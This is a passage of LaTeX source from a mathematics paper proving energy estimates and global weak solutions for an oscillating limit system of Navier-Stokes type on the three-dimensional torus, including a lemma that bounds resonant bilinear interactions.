\left| \psca{ \triangle_q \left( \underline{u}^h \cdot \nabla_h \overline{u}^h \right) \,\big|\, \triangle_q \overline{u}^h }_{{L^2\left(\mathbb{T}^3\right)}} \right| \leqslant C b_q 2^{-2qs} \left( \left\| \underline{u}^h \right\|_{H^{s } \left( \mathbb{T}^1_{\v} \right)} + \left\| \underline{u}^h \right\|_{H^{s +1} \left( \mathbb{T}^1_{\v} \right)} \right)\left\| \overline{u}^h \right\|_{{{{H}^s\left( \T^3 \right)}}} \left\| \nabla_h \overline{u}^h \right\|_{{{{H}^s\left( \T^3 \right)}}}.
\end{equation*}
\end{proof}
\bigskip
\noindent \textit{Proof of Proposition \ref{pr:global_Hs_ubarh}.} We multiply \eqref{eq:Uover_2DstratNS} by $\pare{-\Delta}^{s} \overline{u}^h$, integrate the obtained quantity over $\mathbb{T}^3$. Using Inequality \eqref{eq:bound_Hs_termine_lineare} and the following inequality
\begin{equation*}
\av{\ps{\overline{u}^h\cdot\nabla_h \overline{u}^h}{\overline{u}^h}_{{{H}^s\left( \mathbb{T}^3 \right)}}}\leqslant C \norm{\overline{u}^h}_{L^\infty}\norm{ \overline{u}^h}_{{{H}^s\left( \mathbb{T}^3 \right)}}\norm{\nabla \overline{u}^h}_{{{H}^s\left( \mathbb{T}^3 \right)}},
\end{equation*}
we deduce that
\begin{multline} \label{ultima?}
\frac{1}{2}\frac{d}{dt}\left\| \overline{u}^h \right\|_{{{H}^s\left( \T^3 \right)}}^2 + \nu \left\| \overline{u}^h \right\|_{H^{s+1}\left( \mathbb{R}^3 \right)}^2\\
\leqslant C \left( \left\| \overline{u}^h \right\|_{{L^\infty\left(\mathbb{T}^3\right)}} +\left\|\underline{u}^h \right\|_{H^{s } \left( \mathbb{T}^1_{\v} \right)} + \left\| \underline{u}^h \right\|_{H^{s +1} \left( \mathbb{T}^1_{\v} \right)} \right) \left\| \overline{u}^h \right\|_{{{H}^s\left( \T^3 \right)}} \left\| \overline{u}^h \right\|_{H^{s+1}\left( \mathbb{R}^3 \right)}.
\end{multline}
Then, Young inequality implies
\begin{multline*}
\left\| \overline{u}^h \right\|_{{L^\infty\left(\mathbb{T}^3\right)}} \left\| \overline{u}^h \right\|_{{{H}^s\left( \T^3 \right)}} \left\| \overline{u}^h \right\|_{H^{s+1}\left( \mathbb{R}^3 \right)} \leqslant \frac{\nu}{2}\left\| \overline{u}^h \right\|_{H^{s+1}\left( \mathbb{R}^3 \right)}^2\\
+ C \left( \left\| \overline{u}^h \right\|_{{L^\infty\left(\mathbb{T}^3\right)}}^2 +\left\|\underline{u}^h \right\|_{H^{s } \left( \mathbb{T}^1_{\v} \right)}^2 + \left\| \underline{u}^h \right\|_{H^{s +1} \left( \mathbb{T}^1_{\v} \right)}^2 \right) \left\| \overline{u}^h \right\|_{{{H}^s\left( \T^3 \right)}}^2,
\end{multline*}
which, together with \eqref{ultima?} and Gronwall lemma, leads to
\begin{multline*}
\left\| \overline{u}^h \left( t \right)\right\|_{{{H}^s\left( \T^3 \right)}}^2 + \nu \int_0^t \left\| \overline{u}^h\left( \tau \right) \right\|_{H^{s+1}\left( \mathbb{T}^3 \right)}^2d\tau \\
\leqslant C \left\| \overline{u}^h _0\right\|_{{{H}^s\left( \T^3 \right)}}^2 \exp\left\{\int_0^t \left\| \overline{u}^h \left( \tau \right) \right\|_{{L^\infty\left(\mathbb{T}^3\right)}}^2 +\left\|\underline{u}^h\left( \tau \right) \right\|_{H^{s } \left( \mathbb{T}^1_{\v} \right)}^2 + \left\| \underline{u}^h\left( \tau \right) \right\|_{H^{s +1} \left( \mathbb{T}^1_{\v} \right)}^2 d\tau\right\}.
\end{multline*}
Using Proposition \ref{prop:Linfty_integrability_uh} and Proposition \ref{pr:global_Hs_Uunder}, we finaly obtain
\begin{multline*}
\left\| \overline{u}^h \left( t \right)\right\|_{{{H}^s\left( \T^3 \right)}}^2 + \nu \int_0^t \left\| \overline{u}^h\left( \tau \right) \right\|_{H^{s+1}\left( \mathbb{T}^3 \right)}^2d\tau\\
\leqslant C \left\| \overline{u}^h _0\right\|_{{{H}^s\left( \T^3 \right)}}^2 \exp\set{\frac{C {K}}{c\nu} \; \Phi \left( U_0 \right) \left\| \nabla_h \overline{u}^h_0 \right\|_{L^p_v \left( H^\sigma_h \right)} + \frac{C}{\nu} \left\| \underline{u}^h_0 \right\| _{H^s\left( \mathbb{T}^1_{\v} \right)} },
\end{multline*}
where $ \Phi $ is defined as in Proposition \ref{pr:global_Hs_ubarh}. \hfill $ \Box $
\subsection{Proof of Proposition \ref{pr:global_Hs_uosc}}
We first remark that, if $ \widetilde{U} $ and $ \underline{U} $ are smooth enough, the system \eqref{eq:lim_Uosc} admits global weak solutions \textit{\`a la Leray} in the same fashion as for the incompressible Navier-Stokes \ equations (see \cite{monographrotating} for instance).
\begin{lemma} \label{lem:Ler_sol_Uosc}
Let $s > 1/2$, $\overline{U} \in L^2\pare{\mathbb{R}_+; H^{s+1}\pare{\mathbb{T}^3}}$ and $\underline{U} \in L^\infty\pare{\mathbb{R}_+; H^{s}\pare{\mathbb{T}^1_{\v}}}$. Then, for any initial data $U_{\textnormal{osc}, 0}\in{L^2\!\left(\mathbb{T}^3\right)}$, there exists a global weak solution of the system \eqref{eq:lim_Uosc} such that
\begin{equation*}
U_{\textnormal{osc}}\in \mathcal{C}_{\textnormal{loc}}\pare{\mathbb{R}_+; {L^2\!\left(\mathbb{T}^3\right)}}\cap L^2_{\textnormal{loc}}\pare{\mathbb{R}_+; H^1\pare{\mathbb{T}^3}}.
\end{equation*}
Moreover for any $t^\star \in \mathbb{R}_+$ and for any $ 0\leqslant t \leqslant t^\star < \infty $, the following estimate holds true
\begin{equation} \label{eq:L2_bound_Uosc}
\norm{U_{\textnormal{osc}}\pare{t}}_{{L^2\!\left(\mathbb{T}^3\right)}}^2 + \nu \int_0^t \norm{ \nabla U_{\textnormal{osc}}\pare{\tau}}_{{L^2\!\left(\mathbb{T}^3\right)}}^2 d\tau \leqslant \mathcal{E}_{2, U_0} \pare{t^\star}.
\end{equation}
where
\begin{equation*}
\mathcal{E}_{2, U_0} \pare{t^\star} = C \norm{U_{\textnormal{osc}, 0}}_{{L^2\!\left(\mathbb{T}^3\right)}}^2 \exp \set{\frac{\mathcal{E}_1\pare{U_0}}{\nu} + t^\star \norm{\underline{U}_0}_{H^s\pare{\mathbb{T}^1_{\v}}}^2 }.
\end{equation*}
\end{lemma}
\begin{proof}
We define the frequency cut-off operator
\begin{equation*}
J_n W = \sum_{\av{k}\leqslant n} \widehat{W}(n) e^{i \check{n}\cdot x},
\end{equation*}
and consider the approximate system
\begin{equation} \label{eq:approx_osc_system}
\left\lbrace
\begin{aligned}
&\partial_t U_{\textnormal{osc}, n} +J_n \widetilde{\mathcal{Q}}_1\left(U_{\textnormal{osc}, n} +2 \overline{U}, U_{\textnormal{osc}, n} \right) +J_n \mathcal{B} \left( \underline{U}, U_{\textnormal{osc}, n} \right) - \nu \Delta U_{\textnormal{osc}, n} =0,\\
& \textnormal{div}\; U_{\textnormal{osc}, n}=0, \\
&\left. U_{\textnormal{osc}, n} \right|_{t=0}=J_n U_{{\textnormal{osc}}, 0}.
\end{aligned}
\right.
\end{equation}
The Cauchy-Lipschitz theorem implies the existence of a local solution for \eqref{eq:approx_osc_system} in the space
\begin{equation*}
U_{\textnormal{osc}, n} \in \mathcal{C}\pare{\left[0, T_n\right]; L^2_n},
\end{equation*}
where
\begin{equation*}
L^2_n = \set{f \in L^2(\mathbb{T}^3), \text{supp } \widehat{f} \subset \mathcal{B}(0,n)}.
\end{equation*}
Since $ U_{\textnormal{osc}, n} $ is of divergence-free we deduce that
\begin{equation*}
\ps{J_n \widetilde{\mathcal{Q}}_1 \pare{U_{\textnormal{osc}, n}, U_{\textnormal{osc}, n}}}{U_{\textnormal{osc}, n}}_{{L^2\!\left(\mathbb{T}^3\right)}}=0.
\end{equation*}
Moreover, the following inequalities hold true thanks to the embedding $ H^s\hookrightarrow L^\infty, \ s>\frac{d}{2} $;
\begin{align*}
\ps{\widetilde{\mathcal{Q}}_1 \pare{\overline{U}, U_{\textnormal{osc},n}}}{U_{\textnormal{osc}, n}}& \leqslant C \norm{\nabla \overline{U}}_{{{H}^s\left( \mathbb{T}^3 \right)}} \norm{U_{\textnormal{osc}, n}}_{{L^2\!\left(\mathbb{T}^3\right)}}\norm{\nabla U_{\textnormal{osc}, n}}_{{L^2\!\left(\mathbb{T}^3\right)}},\\
\ps{\mathcal{B} \pare{\underline{U}, U_{\textnormal{osc},n}}}{U_{\textnormal{osc}, n}}& \leqslant C \norm{\underline{U}}_{H^s\pare{\mathbb{T}^1_{\v}}} \norm{U_{\textnormal{osc}, n}}_{{L^2\!\left(\mathbb{T}^3\right)}}\norm{\nabla U_{\textnormal{osc}, n}}_{{L^2\!\left(\mathbb{T}^3\right)}},
\end{align*}
which yield, for any $ t^\star \in \mathbb{R}_+ $ and $ t \in [0, t^\star[ $,
\begin{align*}
&\norm{U_{\textnormal{osc}, n}\pare{t}}_{{L^2\!\left(\mathbb{T}^3\right)}}^2 + \nu \int_0^t \norm{ \nabla U_{\textnormal{osc}, n}\pare{\tau}}_{{L^2\!\left(\mathbb{T}^3\right)}}^2 d\tau\\
&\hspace{3cm} \leqslant C \norm{U_{\textnormal{osc}, 0}}_{{L^2\!\left(\mathbb{T}^3\right)}}^2 \exp \set{ \int_0^t \norm{\nabla \overline{U}\pare{\tau}}_{{{H}^s\left( \mathbb{T}^3 \right)}}^2 + \norm{\underline{U}\pare{\tau}}_{H^s\pare{\mathbb{T}^1_{\v}}}^2 d\tau }, \\
&\hspace{3cm} \leqslant C \norm{U_{\textnormal{osc}, 0}}_{{L^2\!\left(\mathbb{T}^3\right)}}^2 \exp \set{ \frac{\mathcal{E}_1\pare{U_0}}{\nu} + t^\star \norm{\underline{U}_0}_{H^s\pare{\mathbb{T}^1_{\v}}}^2 },
\end{align*}
where $ \mathcal{E}_1 $ is defined in \eqref{eq:E1}. Hence, by a continuation argument, we deduce that $ T_n=\infty $ and for each $ T>0 $, the sequence $ \pare{U_{\textnormal{osc}, n}}_n $ is uniformly bounded in the space
\begin{equation*}
\mathcal{C}\pare{[0, T]; {L^2\!\left(\mathbb{T}^3\right)}}\cap L^2 \pare{[0, T]; H^1\pare{\mathbb{T}^3}}.
\end{equation*}
Standard product rules in Sobolev spaces show that the sequence $ \pare{\partial_t U_{\textnormal{osc}, n}}_n $ is uniformly bounded in the space $ L^2 \pare{[0, T]; H^{-N}} $ for $ N \in \mathbb{N} $ large enough. Finaly, applying Aubin-Lions lemma (see \cite{Aubin63}), we deduce that the sequence $ \pare{U_{\textnormal{osc}, n}}_n $ is compact in $ L^2 \pare{[0, T]; L^2} $, and each limit point of $ \pare{U_{\textnormal{osc}, n}}_n $ weakly solves \eqref{eq:lim_Uosc}.
\end{proof}
\begin{rem}
We point out that the above construction of global weak solutions is possible thanks to the presence of the uniformly parabolic smoothing effect on the limit system \eqref{eq:lim_Uosc}, hence the importance of the propagation of parabolicity mentioned in Remark \ref{rem:propagation_parabolicity}.
\end{rem}
Next, we study the ``purely bilinear'' interactions of highly oscillating perturbations in \eqref{eq:lim_syst_Utilde} given by the term
\begin{equation*}
\pare{\widetilde{\mathcal{Q}}_1 \pare{U_{\textnormal{osc}}, U_{\textnormal{osc}}}}_{\textnormal{osc}}.
\end{equation*}
Bilinear interactions of the above form, in general, prevent us from obtaining global-in-time energy subcritical and critical estimates. However, as pointed out in Remark \ref{rem:smoothness_bilinear_Fourier}, we can actually prove that the bilinear interaction $ \widetilde{\mathcal{Q}}_1 \pare{U_{\textnormal{osc}}, U_{\textnormal{osc}}} $ is in fact smoother than the vector $ U_{\textnormal{osc}}\cdot\nabla U_{\textnormal{osc}} $. To do so, we introduce the following \textit{resonant set}.
\begin{definition} \label{resonance set}
\begin{enumerate}
\item The resonant set $\mathcal{K}^\star$ is the set of frequencies such that
\begin{align*}
\mathcal{K}^\star &= \left\lbrace \left( k,m,n \right)\in \mathbb{Z}^9, k_h, m_h, n_h\neq 0 \left|\hspace{3mm} \omega^a(k)+ \omega^b(m)=\omega^c(n) , \ k+m=n, \hspace{3mm} \left( a,b,c\right) \in \left\lbrace -,+ \right\rbrace \right.\right\rbrace,\\
&= \left\lbrace \left( k,n \right)\in \mathbb{Z}^6, k_h, n_h\neq 0 \left|\hspace{3mm} \omega^a(k)+ \omega^b(n-k)=\omega^c(n), \hspace{3mm} \left( a,b,c\right) \in \left\lbrace -,+ \right\rbrace \right.\right\rbrace,
\end{align*}
where $\omega^j, \ j=\pm$ are the eigenvalues given in \eqref{eq:eigenvalues}.
\item The \textit{resonant set of the frequency} $n: n_h\neq 0$, is defined as
\begin{equation*}
\mathcal{K}^\star_n = \left\lbrace \left( k,m \right)\in \mathbb{Z}^6 \left|\hspace{3mm} \omega^a(k)+ \omega^b(m)=\omega^c(n) \text{ with } k+m=n, \hspace{3mm} \left( a,b,c\right) \in \left\lbrace -,+ \right\rbrace \right.\right\rbrace.
\end{equation*}
\end{enumerate}
\end{definition}
\noindent The resonant set is introduced in order to express the term $ \pare{\widetilde{\mathcal{Q}}_1 \pare{U_{\textnormal{osc}}, U_{\textnormal{osc}}}}_{\textnormal{osc}} $ in a more concise way. Indeed, considering the explicit definition of the bilinear form $ \widetilde{\mathcal{Q}}_1 $ given in \eqref{eq:limit_cQ1} we can immediately deduce that
\begin{equation*}
\pare{\widetilde{\mathcal{Q}}_1 \pare{U_{\textnormal{osc}}, U_{\textnormal{osc}}}}_{\textnormal{osc}} = \mathcal{F}^{-1}\pare{1_{\mathcal{K}^\star} \mathcal{F} \pare{U_{\textnormal{osc}}\cdot \nabla U_{\textnormal{osc}}}}.
\end{equation*}
In other words, the resonant set $ \mathcal{K}^\star $ is the set of frequencies on which the bilinear interaction $ \pare{\widetilde{\mathcal{Q}}_1 \pare{U_{\textnormal{osc}}, U_{\textnormal{osc}}}}_{\textnormal{osc}} $ is localized.
We now define the following Fourier multiplier of order zero
\begin{equation*}
\chi_{\mathcal{K}^\star}\pare{D} \pare{ a \ b} = \mathcal{F}^{-1}\pare{1_{\mathcal{K}^\star} \mathcal{F} \pare{a \ b}}.
\end{equation*}
We can hence rewrite
\begin{equation*}
\pare{\widetilde{\mathcal{Q}}_1 \pare{U_{\textnormal{osc}}, U_{\textnormal{osc}}}}_{\textnormal{osc}} = \textnormal{div}\; \left[ \chi_{\mathcal{K}^\star}\pare{D} \pare{U_{\textnormal{osc}}\otimes U_{\textnormal{osc}}}\right].
\end{equation*}
We state the following technical lemma which is a simple variation of \cite[Lemma 6.6, p.150]{monographrotating}, \cite[Lemma 6.4, p.222]{paicu_rotating_fluids} or \cite[Lemma 8.4]{Scrobo_primitive_horizontal_viscosity_periodic}. The proof is based on the fact that, for fixed $ \left( k_h, n \right) $, the fiber
\begin{equation*}
\mathcal{J}\left( k_h, n \right)= \left\{ k_3 \in \mathbb{Z} \,, \left( k,n \right)\in \mathcal{K}^\star \right\}
\end{equation*}
is a finite set.
\begin{lemma} \label{lem:product_rule_osc}
Let $a,b \in H^{1/2}\left(\mathbb{T}^3\right)$ and $c\in {L^2\!\left(\mathbb{T}^3\right)}$ be vector fields of zero horizontal average on $\mathbb{T}^2_{\textnormal{h}}$. Then there exists a constant $C$ which only depends on $a_1/a_2$ such that
\begin{equation} \label{eq:product_rule_osc}
\left| \sum_{(k,n)\in \mathcal{K}^\star } \widehat{a}(k) \widehat{b}\left( {n-k} \right) \widehat{c}(n) \right| \leqslant \frac{C}{a_3} \left\| a\right\|_{H^{1/2}\left(\mathbb{T}^3\right)} \left\|b \right\|_{H^{1/2}\left(\mathbb{T}^3\right)} \left\|c\right\|_{L^2\!\left(\mathbb{T}^3\right)}.
\end{equation}
\end{lemma}
\begin{proof}
We first prove Lemma \ref{lem:product_rule_osc} when $\mathbb{T}^3=\left[0,2\pi\right)^3$. We write
\begin{align}
\label{res ineq 1} I_{\mathcal{K}^\star}= \left| \sum_{(k,n)\in \mathcal{K}^\star } \widehat{a}_k \widehat{b}_{n-k} \widehat{c}_n \right|\leqslant & \sum_{\left( k_h,n\right)\in \mathbb{Z}^2\times \mathbb{Z}^3} \sum_{\left\lbrace k_3:(k,n)\in \mathcal{K}^\star\right\rbrace } \left| \widehat{a}_k \widehat{b}_{n-k} \widehat{c}_n \right|,\\
\leqslant & \sum_{\left( k_h,n\right)\in \mathbb{Z}^2\times \mathbb{Z}^3} \left| \widehat{c}_n\right| \sum_{\left\lbrace k_3:(k,n)\in \mathcal{K}^\star\right\rbrace }
\left|\widehat{a}_k\right|\left| \widehat{b}_{n-k}\right|.\notag
\end{align}
By Cauchy-Schwarz inequality, we have
\begin{equation*}
\sum_{\left\lbrace k_3:(k,n)\in \mathcal{K}^\star\right\rbrace }
\left|\widehat{a}_k\right|\left| \widehat{b}_{n-k}\right|\leqslant
\left( \sum_{\left\lbrace k_3:(k,n)\in \mathcal{K}^\star\right\rbrace }
\left|\widehat{a}_k\right|^2\left| \widehat{b}_{n-k}\right|^2\right)^{1/2}
\left( \sum_{\left\lbrace k_3:(k,n)\in \mathcal{K}^\star\right\rbrace } 1\right)^{1/2}.
\end{equation*}
Now, fixing $\left( k_h,n\right)\in \mathbb{Z}^2\times \mathbb{Z}^3$ there exists only a finite number of resonant modes $k_3$, more precisely,
\begin{equation}
\label{eq:nok3} \# \left(\left\lbrace k_3:(k,n)\in \mathcal{K}^\star\right\rbrace\right) \leqslant 8.
\end{equation}
Indeed, we can write explicitly the resonant condition $ \omega^{+,+,+}_{k, n-k,n}=0 $ (the same procedure holds for the generic case $ \omega^{a,b,c}_{k, n-k,n}=0, a,b,c\neq 0 $) as follows
\begin{equation*}
\left(\frac{\left|k_h\right|^2}{\left|k_3\right|^2+\left|k_h\right|^2}\right)^{1/2}
+\left(\frac{ \left| n_h-k_h\right|^2}{\left| n_3-k_3\right|^2+\left|n_h-k_h\right|^2}\right)^{1/2}
= \left(\frac{\left\vert n_h\right|^2}{\left|n_3\right|^2+\left| n_h\right|^2}\right)^{1/2}.
\end{equation*}
After some algebraic calculations, the above equation of $k_3$ ($k_h$ and $n$ being fixed) becomes an polynomial equation of the form
\begin{equation*}
R\left( k_3 \right)=0,
\end{equation*}
where $R$ is a real polynomial of degree eight, hence \eqref{eq:nok3} follows the fundamental theorem of algebra. Thus,
\begin{equation*}
\sum_{\left\lbrace k_3:(k,n)\in \mathcal{K}^\star\right\rbrace } \left|\widehat{a}_k\right|\left| \widehat{b}_{n-k}\right|\leqslant \sqrt{8}\left( \sum_{\left\lbrace k_3:(k,n)\in \mathcal{K}^\star\right\rbrace } \left|\widehat{a}_k\right|^2\left| \widehat{b}_{n-k}\right|^2\right)^{1/2},
\end{equation*}
which, combined with Inequality \eqref{res ineq 1}, gives
\begin{equation*}
I_{\mathcal{K}^\star} \leqslant \sqrt{8} \sum_{k_h,n_h} \sum_{n_3 } \left| \widehat{c}_n\right| \left( \sum_{k_3 } \left|\widehat{a}_k\right|^2\left| \widehat{b}_{n-k}\right|^2\right)^{1/2}.
\end{equation*}
Moreover
\begin{equation*}
\sum_{n_3 } \left| \widehat{c}_n\right| \left( \sum_{k_3 } \left|\widehat{a}_k\right|^2\left| \widehat{b}_{n-k}\right|^2\right)^{1/2} \leqslant \left( \sum_{n_3 } \left| \widehat{c}_n\right|^2 \right)^{1/2} \left(\sum_{n_3, k_3 } \left|\widehat{a}_k\right|^2\left| \widehat{b}_{n-k}\right|^2\right)^{1/2},
\end{equation*}
and hence
\begin{equation} \label{res ineq 2}
I_{\mathcal{K}^\star} \leqslant \sqrt{8} \sum_{\left( k_h,n\right)\in \mathbb{Z}^2\times \mathbb{Z}^3} \left( \sum_{n_3 } \left| \widehat{c}_n\right|^2 \right)^{1/2} \left( \sum_{p_3}\left| \widehat{b}_{n_h-k_h,p_3}\right|^2\right)^{1/2} \left( \sum_{k_3} \left| \widehat{a}_k\right|^2\right)^{1/2}.
\end{equation}
Let us denote at this point
\begin{equation*}
\widetilde{a}_{n_h} = \left( \sum_{n_3} \left| \widehat{a}_n\right|^2\right)^{1/2}, \hspace{2cm}
\widetilde{b}_{n_h} = \left( \sum_{n_3} \left| \widehat{b}_n\right|^2\right)^{1/2}, \hspace{2cm}
\widetilde{c}_{n_h} = \left( \sum_{n_3} \left| \widehat{c}_n\right|^2\right)^{1/2},
\end{equation*}
and the following distributions
\begin{equation*}
\widetilde{a}\left( x_h\right) = \mathcal{F}_h^{-1}\left(\widetilde{a}_{n_h} \right) \hspace{2cm}
\widetilde{b}\left( x_h\right) = \mathcal{F}_h^{-1}\left(\widetilde{b}_{n_h} \right) \hspace{2cm}
\widetilde{c}\left( x_h\right) = \mathcal{F}_h^{-1}\left(\widetilde{c}_{n_h} \right).
\end{equation*}
The inequality \eqref{res ineq 2} can be read, applying Plancherel theorem and the product rules for Sobolev spaces, as
\begin{align*}
I_{\mathcal{K}^\star}\leqslant \psca{\widetilde{a}\widetilde{b} \,\big|\, \widetilde{c}}_{L^2\left(\mathbb{T}^2_{\textnormal{h}}\right)} \leqslant & \left\| \widetilde{a}\widetilde{b} \right\|_{L^2\left(\mathbb{T}^2_{\textnormal{h}}\right)}\left\|\widetilde{c}\right\|_{L^2\left(\mathbb{T}^2_{\textnormal{h}}\right)}\\
\leqslant & \left\| \widetilde{a}\right\|_{H^{1/2}\left(\mathbb{T}^2_{\textnormal{h}}\right)}\left\|\widetilde{b} \right\|_{H^{1/2}\left(\mathbb{T}^2_{\textnormal{h}}\right)}\left\|\widetilde{c}\right\|_{L^2\left(\mathbb{T}^2_{\textnormal{h}}\right)}\\
=& \left\| a\right\|_{H^{1/2,0}\left(\mathbb{T}^3\right)} \left\|b \right\|_{H^{1/2,0}\left(\mathbb{T}^3\right)} \left\|c\right\|_{{L^2\!\left(\mathbb{T}^3\right)}}, \\
\leqslant & \left\| a\right\|_{H^{1/2}\left(\mathbb{T}^3\right)} \left\|b \right\|_{H^{1/2}\left(\mathbb{T}^3\right)} \left\|c\right\|_{{L^2\!\left(\mathbb{T}^3\right)}}.
\end{align*}
Finaly, to lift this argument to a generic torus $\prod_{i=1}^3 \left[ 0, 2\pi a_i\right)$, it suffices to use the transform
$$
\widetilde{v}\left( x_1, x_2, x_3\right) = v\left( a_1x_1, a_2 x_2, a_3 x_3\right),
$$
and the identity
$$
\left\| \widetilde{v}\right\|_{L^2\left( \left[ 0,2\pi\right)^3\right)}= \left( a_1a_2a_3\right)^{-1/2} \left\| v\right\|_{L^2\left( \prod_{i=1}^3\left[ 0, 2\pi a_i\right)\right)}.
$$
\end{proof}
\begin{rem}
Lemma \eqref{lem:product_rule_osc} can be applied on $ U_{\textnormal{osc}} $, by taking $ a=b=c=U_{\textnormal{osc}} $, since the projection on the oscillating subspace defined in \eqref{eq:DecompW} has zero horizontal average.
\end{rem}
Now, we can prove the energy bound required on the problematic trilinear term
\begin{lemma}
Let $ s>0 $, then
\begin{equation}\label{eq:estimate_trilinear_term_osc}
\ps{\pare{\widetilde{\mathcal{Q}}_1 \pare{U_{\textnormal{osc}}, U_{\textnormal{osc}}}}_{\textnormal{osc}}}{U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}} \leqslant C \norm{U_{\textnormal{osc}}}_{{L^2\!\left(\mathbb{T}^3\right)}}^{1/2} \norm{\nabla U_{\textnormal{osc}}}_{{L^2\!\left(\mathbb{T}^3\right)}}^{1/2}\norm{U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}}^{1/2} \norm{\nabla U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}}^{3/2}.
\end{equation}
\end{lemma}
\begin{proof}
We remark that
\begin{align*}
\ps{\pare{\widetilde{\mathcal{Q}}_1 \pare{U_{\textnormal{osc}}, U_{\textnormal{osc}}}}_{\textnormal{osc}}}{U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}} & = \ps{\widetilde{\mathcal{Q}}_1 \pare{U_{\textnormal{osc}}, U_{\textnormal{osc}}}}{U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}}, \\
& = - \ps{\chi_{\mathcal{K}^\star}\pare{D} \pare{U_{\textnormal{osc}}\otimes U_{\textnormal{osc}}}}{\nabla U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}}, \\
& = - \psc{ \pare{-\Delta}^{s/2} \pare{U_{\textnormal{osc}}\otimes U_{\textnormal{osc}}}}{ \pare{-\Delta}^{s/2}\nabla U_{\textnormal{osc}}}_{\chi_{\mathcal{K}^\star}},
\end{align*}
where
\begin{equation*}
\psc{a\ b}{c}_{\chi_{\mathcal{K}^\star}} = \sum_{(k,n)\in \mathcal{K}^\star } \widehat{a}(k) \widehat{b}\left( {n-k} \right) \widehat{c}(n).
\end{equation*}
By a dyadic decomposition, we also have
\begin{equation*}
\av{\psc{ \pare{-\Delta}^{s/2} \pare{U_{\textnormal{osc}}\otimes U_{\textnormal{osc}}}}{ \pare{-\Delta}^{s/2}\nabla U_{\textnormal{osc}}}_{\chi_{\mathcal{K}^\star}}}\sim \sum_q 2 ^{2qs} \ \av{ \psc{ \triangle_q \pare{U_{\textnormal{osc}}\otimes U_{\textnormal{osc}}}}{ \triangle_q\nabla U_{\textnormal{osc}}}_{\chi_{\mathcal{K}^\star}}}.
\end{equation*}
For each dyadic bloc in the above estimate, using a Bony decomposition, we have
\begin{equation*}
I_q = \av{ \psc{ \triangle_q \pare{U_{\textnormal{osc}}\otimes U_{\textnormal{osc}}}}{ \triangle_q\nabla U_{\textnormal{osc}}}_{\chi_{\mathcal{K}^\star}}} \leqslant I_q^1 + I_q^2,
\end{equation*}
where
\begin{align*}
I_q^1 &= \sum_{\left| q-q' \right|\leqslant4} \av{ \psc{ \triangle_q \pare{S_{q'}U_{\textnormal{osc}}\otimes \triangle_{q'} U_{\textnormal{osc}}}}{ \triangle_q\nabla U_{\textnormal{osc}}}_{\chi_{\mathcal{K}^\star}}}\\
I_q^2 &= \sum_{q'>q-4} \av{ \psc{ \triangle_q \pare{\triangle_{q'} U_{\textnormal{osc}}\otimes S_{q'+2} U_{\textnormal{osc}}}}{ \triangle_q\nabla U_{\textnormal{osc}}}_{\chi_{\mathcal{K}^\star}}}.
\end{align*}
Combining \eqref{eq:product_rule_osc} with some classical computations with the dyadic blocs finaly leads to, for any $k=1,2$,
\begin{equation*}
I_q^k \leqslant C \ 2^{-2qs}b_q \ \norm{U_{\textnormal{osc}}}_{{L^2\!\left(\mathbb{T}^3\right)}}^{1/2} \norm{\nabla U_{\textnormal{osc}}}_{{L^2\!\left(\mathbb{T}^3\right)}}^{1/2}\norm{U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}}^{1/2} \norm{\nabla U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}}^{3/2},
\end{equation*}
where the sequence $ \pare{b_q}_q\in \ell^2 $ depends on $ U_{\textnormal{osc}} $, concluding the proof.
\end{proof}
\begin{lemma}
\label{lem:613}
Let $ s >1/2 $, then
\begin{align}
\ps{\widetilde{\mathcal{Q}}_1\pare{\overline{U}, U_{\textnormal{osc}}}}{U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}}& \leqslant C \norm{\nabla\overline{U}}_{{{H}^s\left( \mathbb{T}^3 \right)}}\norm{\nabla U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}}\norm{ U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}},\label{eq:estimate_linear_term_osc1} \\
\ps{\mathcal{B}\pare{\underline{U}, U_{\textnormal{osc}}}}{U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}} & \leqslant C \norm{\underline{U}}_{L^2\pare{\mathbb{T}^1_{\v}}} \norm{\nabla U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}}\norm{ U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}}.\label{eq:estimate_linear_term_osc2}
\end{align}
\end{lemma}
\begin{proof}
The proof of Lemma \ref{lem:613} relies on direct estimates performed on both bilinear terms. For the first one, we have
\begin{align*}
\av{\ps{\widetilde{\mathcal{Q}}_1\pare{\overline{U}, U_{\textnormal{osc}}}}{U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}}}& \leqslant \av{\ps{\textnormal{div}\; \pare{\overline{U}\otimes U_{\textnormal{osc}}}}{U\textnormal{osc}}_{{{H}^s\left( \mathbb{T}^3 \right)}}}, \\
& \leqslant \norm{\overline{U}\otimes U_{\textnormal{osc}}}_{H^{s+1}\pare{\mathbb{T}^3}} \norm{U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}},\\
& \leqslant C \norm{\nabla\overline{U}}_{{{H}^s\left( \mathbb{T}^3 \right)}}\norm{\nabla U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}}\norm{ U_{\textnormal{osc}}}_{{{H}^s\left( \mathbb{T}^3 \right)}},
\end{align*}
where in the last inequality, we used the fact that $ H^{s+1}\pare{\mathbb{T}^3}, s>1/2 $ is a Banach algebra.
For the second one we use the explicit definition of the limit bilinear form $ \mathcal{B} $ given in \eqref{eq:tQ2_e+-} in order to deduce the identity
\begin{align*}
